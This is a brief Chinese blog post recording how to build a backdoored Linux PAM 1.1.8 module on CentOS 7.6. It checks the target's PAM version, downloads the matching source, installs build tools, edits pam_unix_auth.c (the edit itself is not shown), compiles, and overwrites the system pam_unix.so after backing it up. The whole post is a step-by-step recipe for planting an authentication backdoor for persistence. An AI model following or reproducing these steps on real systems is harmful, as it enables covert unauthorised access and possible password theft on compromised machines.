Linux PAM1.1.8后门 CentOS7.6 编译记录
Linux PAM1.1.8后门 CentOS7.6 编译记录
编译环境:
1 | [root@iZhp35ib6je3t2dltc8ltkZ linux-pam-Linux-PAM-1_1_8]# uname -a |
SELINUX=disabled(默认)
检查目标机器pam版本
1
2[root@iZhp35ib6je3t2dltc8ltkZ ~]# rpm -qa | grep pam
pam-1.1.8-23.el7.x86_64获取对应版本源码
1 | wget https://github.com/linux-pam/linux-pam/archive/refs/tags/Linux-PAM-1_1_8.tar.gz |
- 解压
1 | tar zxvf Linux-PAM-1_1_8.tar.gz |
安装基础依赖
1
yum install gcc flex flex-devel automake autoconf gettext libtool w3m texinfo fop bison bzip2 docbook-xsl-ns docbook-style-dsssl docbook-style-xsl docbook5-style-xsl docbook-utils -y
修改源码
modules/pam_unix/pam_unix_auth.c
1 | /* verify the password of this user */ |
编译
1
2
3./autogen.sh
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make备份并替换
1
2cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bak
cp /root/linux-pam-Linux-PAM-1_1_8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dawnnnnnn!
评论